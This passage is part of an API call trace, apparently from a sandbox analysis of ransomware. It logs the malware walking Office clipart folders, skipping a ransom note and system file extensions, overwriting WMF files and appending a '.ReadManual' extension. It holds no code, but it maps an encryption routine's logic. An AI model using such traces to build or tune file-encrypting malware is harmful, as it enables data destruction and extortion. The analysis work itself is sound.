lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.127] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3960) returned 0x2f0000 [0263.127] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38379562877) returned 1 [0263.127] CloseHandle (hObject=0x184) returned 1 [0263.127] SetSecurityInfo () returned 0x57 [0263.127] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.127] CloseHandle (hObject=0x194) returned 1 [0263.127] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0263.127] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00526_.WMF" | out: lpString1="HH00526_.WMF") returned="HH00526_.WMF" [0263.127] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.127] StrStrIW (lpFirst="HH00526_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.127] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.127] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.127] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.127] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.127] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.127] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.127] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.127] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.128] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.128] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.128] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.128] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.128] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.128] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.128] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" [0263.128] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.ReadManual.5A595725" [0263.128] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.ReadManual.5A595725") returned 87 [0263.128] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38379657508) returned 1 [0263.128] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0263.128] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.128] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13538) returned 1 [0263.128] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e2, lpName=0x0) returned 0x184 [0263.128] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.129] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.129] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.131] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.132] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34e2) returned 0x2f0000 [0263.132] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.132] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38380076591) returned 1 [0263.132] CloseHandle (hObject=0x184) returned 1 [0263.132] SetSecurityInfo () returned 0x57 [0263.132] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.132] CloseHandle (hObject=0x194) returned 1 [0263.132] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0263.132] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00527_.WMF" | out: lpString1="HH00527_.WMF") returned="HH00527_.WMF" [0263.132] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.132] StrStrIW (lpFirst="HH00527_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.132] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.132] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.132] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.133] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.133] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" [0263.133] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.ReadManual.5A595725" [0263.133] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.ReadManual.5A595725") returned 87 [0263.133] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38380177010) returned 1 [0263.133] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0263.134] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.134] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5798) returned 1 [0263.134] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16a6, lpName=0x0) returned 0x184 [0263.134] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.135] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.135] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.137] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.137] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16a6) returned 0x2f0000 [0263.137] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.137] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38380602515) returned 1 [0263.137] CloseHandle (hObject=0x184) returned 1 [0263.137] SetSecurityInfo () returned 0x57 [0263.137] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.137] CloseHandle (hObject=0x194) returned 1 [0263.138] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0263.138] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00546_.WMF" | out: lpString1="HH00546_.WMF") returned="HH00546_.WMF" [0263.138] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.138] StrStrIW (lpFirst="HH00546_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.138] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.138] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.138] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" [0263.138] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.ReadManual.5A595725" [0263.138] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.ReadManual.5A595725") returned 87 [0263.138] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38380697522) returned 1 [0263.138] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0263.138] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.139] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3718) returned 1 [0263.139] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe86, lpName=0x0) returned 0x184 [0263.139] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.139] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.140] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.141] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.142] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe86) returned 0x2f0000 [0263.142] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.142] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38381061396) returned 1 [0263.142] CloseHandle (hObject=0x184) returned 1 [0263.142] SetSecurityInfo () returned 0x57 [0263.142] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.142] CloseHandle (hObject=0x194) returned 1 [0263.142] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0263.142] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00601_.WMF" | out: lpString1="HH00601_.WMF") returned="HH00601_.WMF" [0263.142] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.142] StrStrIW (lpFirst="HH00601_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.142] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.142] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.142] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.142] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.142] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.142] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.142] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.142] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.143] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.143] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.143] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.143] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.143] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.143] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.143] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" [0263.143] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.ReadManual.5A595725" [0263.143] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.ReadManual.5A595725") returned 87 [0263.143] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38381153217) returned 1 [0263.143] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0263.143] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.143] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1468) returned 1 [0263.143] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5bc, lpName=0x0) returned 0x184 [0263.143] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.144] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.144] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.146] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.146] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5bc) returned 0x2f0000 [0263.146] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.146] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38381476742) returned 1 [0263.146] CloseHandle (hObject=0x184) returned 1 [0263.146] SetSecurityInfo () returned 0x57 [0263.146] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.146] CloseHandle (hObject=0x194) returned 1 [0263.146] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0263.146] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00602_.WMF" | out: lpString1="HH00602_.WMF") returned="HH00602_.WMF" [0263.147] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.147] StrStrIW (lpFirst="HH00602_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.147] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.147] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.147] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" [0263.147] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.ReadManual.5A595725" [0263.147] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.ReadManual.5A595725") returned 87 [0263.147] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38381588383) returned 1 [0263.147] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0263.147] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.148] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1400) returned 1 [0263.148] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x578, lpName=0x0) returned 0x184 [0263.148] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.149] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.149] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.150] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.151] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x578) returned 0x2f0000 [0263.151] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.151] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38381945722) returned 1 [0263.151] CloseHandle (hObject=0x184) returned 1 [0263.151] SetSecurityInfo () returned 0x57 [0263.151] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.151] CloseHandle (hObject=0x194) returned 1 [0263.151] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0263.151] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00612_.WMF" | out: lpString1="HH00612_.WMF") returned="HH00612_.WMF" [0263.151] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.151] StrStrIW (lpFirst="HH00612_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.151] 